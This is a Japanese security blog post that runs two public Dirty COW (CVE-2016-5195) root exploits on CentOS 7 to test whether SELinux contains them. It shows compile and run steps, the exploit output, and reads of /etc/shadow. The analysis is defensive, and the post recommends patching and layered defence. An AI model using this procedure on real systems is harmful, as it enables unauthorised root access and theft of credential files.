現在位置: ホーム / セキュリティ ブログ / Dirty COW (CVE-2016-5195) のExploit PoCとSELinux

Dirty COW (CVE-2016-5195) のExploit PoCとSELinux

先週末に公開されたLinux Kernelの脆弱性(Dirty COW)は広範囲に影響する問題であり、Exploitが多数公開されてしまっているため話題に上がっていますが、今回はそれらのExploitを実際に試し、RHEL/CentOSでデフォルトで導入されているSELinuxでそれらが保護できるかどうかの確認と、それらからSELinuxの限界を探っていきたいと思います。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面です。

先週末に公開されたLinux Kernelの脆弱性(Dirty COW)が今週かなり話題になっています。広範囲に影響する問題であり、対応方法もKernelの更新しか無いこと、Exploitが多数公開されてしまっていることが話題に上がっている原因ですが、今回はそれらのExploitを実際に試し、RHEL/CentOSでデフォルトで導入されているSELinuxでそれらが保護できるかどうかの確認と、それらからSELinuxの限界を探っていきたいと思います。


Dirty COWの簡単な説明

Dirty COWとは、簡単に言うとカーネルのメモリサブシステム内におけるcopy-on-write(COW)の取り扱いで競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される問題です。これを悪用して、ローカルの非特権ユーザがシステムで特権に昇格することが可能になります。

Dirty COWのサイトからExploitの公開先もわかりますが、既にかなりの数のExploitが公開されており、更に実際の攻撃にも使用されていますので、早急な対応が必要となります。

さらに、今回の脆弱性はLinuxを使用している全ての製品(Androidを含む)が対象になります。

Androidの場合(最近のAndroidでSELinuxが有効になっているものになりますが)、今の所公開されているexploitだとハングしてリブートしてしまうだけですが、今後問題になる可能性もあるため、更にベンダーの情報をチェックする必要が有ります。


PoC: 公開されているExploitを試してみる

今回は、実際にgithubで公開されているExploitのうち

  1. cowroot.c: /proc/self/mem

  2. dirtycow-mem.c: /proc/self/mem

を試してみます。

PoC環境としては、VMWare Player上のCentOS 7.2を使用します。

PoCの手順として、最初にSELinuxを無効(Disabled)にした状態でテストを行い、その後SELinuxを有効(Enforcing)にした状態でテストを行います。


1. cowroot.c

実際にcowroot.cをダウンロードしてコンパイルし実行してみます。

実行手順は、cowroot.c中にコメントとして書いてあります。

  1. SELinuxが無効(Disabled)になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Disabled
    [sios@cent7poc ~]$ 
    
  2. cowroot.cをコンパイルします。

    [sios@cent7poc ~]$ cd work/DirtyCow/cowroot/
    [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread
    cowroot.c: 関数 ‘procselfmemThread’ 内:
    cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効]
             lseek(f,map,SEEK_SET);
             ^
    In file included from cowroot.c:27:0:
    /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’
     extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                    ^
    
    [sios@cent7poc cowroot]$ ls
    cowroot  cowroot.c
    [sios@cent7poc cowroot]$
    
  3. cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc cowroot]$ ./cowroot 
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd to /tmp/bak
    Size of binary: 27832
    Racing, this may take a while..
    /usr/bin/passwd overwritten
    Popping root shell.
    thread stopped
    Don't forget to restore /tmp/bak
    thread stopped
    [root@cent7poc cowroot]# id
    uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel)
    [root@cent7poc cowroot]# 
    
  4. SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Enforcing
    [sios@cent7poc ~]$ 
    
  5. 先程のcowrootを削除し、cowroot.cをコンパイルします。

    [sios@cent7poc cowroot]$ rm cowroot
    [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread
    cowroot.c: 関数 ‘procselfmemThread’ 内:
    cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効]
             lseek(f,map,SEEK_SET);
             ^
    In file included from cowroot.c:27:0:
    /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’
     extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                    ^
    [sios@cent7poc cowroot]$ 
    
  6. cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc cowroot]$ ./cowroot 
    DirtyCow root privilege escalation
    Backing up /usr/bin/passwd to /tmp/bak
    Size of binary: 27832
    Racing, this may take a while..
    /usr/bin/passwd overwritten
    Popping root shell.
    thread stopped
    Don't forget to restore /tmp/bak
    thread stopped
    bash: /root/.bashrc: Permission denied
    bash-4.2# id
    uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
    bash-4.2# 
    
  7. どこまで出来るのか、ある程度調べてみます。

    "id -Z"コマンドでユーザのコンテキストを見てわかるとおり、passwd_tドメインでシェルが動作しているため、touchでファイルを作成したりは出来ませんが、rootアカウントでしかアクセスできないファイルを読み出したりすることは可能です。

    bash-4.2# id -Z
    unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
    bash-4.2# touch /tmp/ddd
    touch: cannot touch '/tmp/ddd': Permission denied
    bash-4.2# cat /etc/shadow
    root:$4$nlkpuc8k8mCpyLLSG9./::0:99999:7:::
    bin:*:16659:0:99999:7:::
    daemon:*:16659:0:99999:7:::
    adm:*:16659:0:99999:7:::
    nfsnobody:!!:17020::::::
    --snip--
    tcpdump:!!:17020::::::
    named:!!:17077::::::
    dockerroot:!!:17098::::::
    bash-4.2# 
    

2. dirtycow-mem.c

実際にdirtycow-mem.cをダウンロードしてコンパイルし実行してみます。

実行手順は、dirtycow-mem.c中にコメントとして書いてあります。

  1. SELinuxが無効(Disabled)になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Disabled
    [sios@cent7poc ~]$ 
    
  2. dirtycow-mem.cをCentOS 7上で動作するようにlibcのパスを修正しコンパイルします。

    [sios@cent7poc ~]$ cd work/DirtyCow/dirtycow-mem/
    [sios@cent7poc dirycow-mem]$ 
    [sios@cent7poc dirycow-mem]$ diff dirtycow-mem.c.org dirtycow-mem.c
    30c30,31
    < #define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
    ---
    > //#define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
    > #define LIBC_PATH	"/lib64/libc.so.6"
    [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    dirtycow-mem.c: 関数 ‘get_range’ 内:
    dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
       sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
       ^
    dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
    [sios@cent7poc dirycow-mem]$ ls
    dirtycow-mem  dirtycow-mem.c
    [sios@cent7poc dirycow-mem]$ 
    
  3. dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc dirycow-mem]$ ./dirtycow-mem 
    [*] range: 7f3bb9ad4000-7f3bb9c8b000]
    [*] getuid = 7f3bb9b92db0
    [*] mmap 0x7f3bb98d0000
    [*] exploiting (patch)
    [*] patched (procselfmemThread)
    [*] patched (madviseThread)
    [root@cent7poc dirycow-mem]# id
    uid=0(root) gid=0(root) groups=0(root)
    [root@cent7poc dirycow-mem]# touch /tmp/ccc
    [root@cent7poc dirycow-mem]# ls -lh /tmp/ccc
    -rw-r--r-- 1 root root 0 10月 28 10:51 /tmp/ccc
    
  4. SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。

    [sios@cent7poc ~]$ getenforce
    Enforcing
    [sios@cent7poc ~]$ 
    
  5. 先程のdirtycow-memを削除し、dirtycow-mem.cを再度コンパイルします。

    [sios@cent7poc dirycow-mem]$ rm dirtycow-mem 
    [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    dirtycow-mem.c: 関数 ‘get_range’ 内:
    dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
       sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
       ^
    dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
    
    
  6. dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。

    [sios@cent7poc dirycow-mem]$ ./dirtycow-mem 
    [*] range: 7fef1be82000-7fef1c039000]
    [*] getuid = 7fef1bf40db0
    [*] mmap 0x7fef1bc7e000
    [*] exploiting (patch)
    [*] patched (madviseThread)
    [*] patched (procselfmemThread)
    [root@cent7poc dirycow-mem]# id -Z
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    [root@cent7poc dirycow-mem]# [*] exploiting (unpatch)
    [*] unpatched: uid=1000 (procselfmemThread)
    [*] unpatched: uid=1000 (madviseThread)
    
  7. どこまで出来るのか、ある程度調べてみます。

    今度は完全にrootアカウントになっており、"id -Z"で確認してもunconfined_tドメインでシェルが動作しています。そのため、SELinuxが有効になっているにも関わらず、ヤリタイ放題になっていることがわかります。

    [root@cent7poc dirycow-mem]# cat /etc/shadow
    root:XXXXXXXXXXXXG./::0:99999:7:::
    bin:*:16659:0:99999:7:::
    daemon:*:16659:0:99999:7:::
    adm:*:16659:0:99999:7:::
    lp:*:16659:0:99999:7:::
    sync:*:16659:0:99999:7:::
    shutdown:*:16659:0:99999:7:::
    --snip--
    avahi-autoipd:!!:16990::::::
    avahi:!!:17020::::::
    tcpdump:!!:17020::::::
    named:!!:17077::::::
    dockerroot:!!:17098::::::
    [root@cent7poc dirycow-mem]# touch /tmp/dddd
    [root@cent7poc dirycow-mem]# ls -lh /tmp/dddd
    -rw-r--r--. 1 root root 0 10月 28 11:02 /tmp/dddd
    [root@cent7poc dirycow-mem]# id -Z
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    [root@cent7poc dirycow-mem]# getenforce
    Enforcing
    

二つのPoCの違いとSELinuxの振る舞いの違い

1つめのPoC(cowroot.c)は、/usr/bin/passwdを使っているため、起動されたシェルもSELinuxによる制限を受けてpasswd_tドメインに限定されます。そのため、passwd_tドメインがアクセスできる範囲でしかアクセスが可能にならず、結果的に被害を局所化することが出来ます。

しかし、2つめのPoC(dirtycow-mem.c)はファイルシステムに書き込まず、メモリを直接いじって動作するため、PoCを行ったユーザのドメイン(unconfined_tドメイン)が引き継がれてしまい、通常のrootと同じSELinuxコンテキスト(unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023)と同じになってしまいます。


まとめと考察

今回の脆弱性を用いて、公開されているExploitを使うと容易に(5秒以内という話も有ります)一般ユーザでroot権限を得られることがわかりました。

殆どの場合、root権限を取ったVMは10秒程度でハングアップしてしまいますが、それでもroot権限を得ている間にパスワードを変更したり、色々な設定変更を行うことが出来るため、攻撃者にとっては充分な時間が提供されます。

また、今回の脆弱性はシステムコールを経由せずに、メモリを直接いじって任意のファイルを強制的に上書きすることが出来る脆弱性のため、ファイルシステムを経由しないexploitの場合には、SELinuxを有効にしていても防げないことがわかりました。

SELinuxは、LSMを用いてシステムコールをフックして強制的にアクセス制御を行うものです。そのため、今回のようなタイプの脆弱性対応には不向きです。

SELinux MLでも既に議論にはなっていますが、今回の問題をSELinuxで軽減する方法としては、ファイルに対してのアクセス制御で(1. cowroot.cの時が分かりやすいですが)一部軽減が可能ですが、メモリ上を直接書き換えてしまったり、vDSOベースのものには全く歯が立ちません。

ここで重要なのは、SELinuxもそうですが、全てのセキュリティソリューションには得意・不得意や適用できる範囲が決まっているということです。

SELinuxを用いて防げる脆弱性も多数あります。過去のケースで言えば、あのShellShockなど、大々的な脆弱性も防ぐことが可能です。今回のケースは、あくまでも「SELinuxが適用される範囲外の脆弱性だった」という事です。

よく言われる話ですが、「情報セキュリティ対策に銀の弾丸はない」という事で、魔法のような何でも対処できるソリューションは無く、多層防御で補ってやる必要があるということです。

今回のケースで言えば、ローカルのユーザによる攻撃はSELinuxなどでも防げませんが、そもそもリモートからローカルに入る所で防御することで安全性を保つということが可能です。

また、やはりRed Hat Satelliteなどのパッチ管理製品を使ってパッチ管理を確実に行い、脆弱性が発見・報告された際には直ちにパッチの適用を行うという運用も不可欠になります。


[セミナー告知]

11/30(水)に「OSSセキュリティナイター vol.3」と題して、セキュリティのセミナーを行います。

この回では、世界で最も利用されているオープンソースデータベースであるMySQLを取り上げ、『MySQLデータベースのセキュリティを考える 〜 重要データを守るために必要なこと〜』と題してセミナーを開催します。

今回も、前回に引き続き、ゲスト講師としてMySQLスペシャリストをお招きし講演をいただきます。

http://connpass.com/event/44819/がプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。

OSSに関するお困りごとは サイオス OSSよろず相談室まで

サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。

OSSよろず相談室

サイオスOSSよろず相談室(2)

問い合わせボタン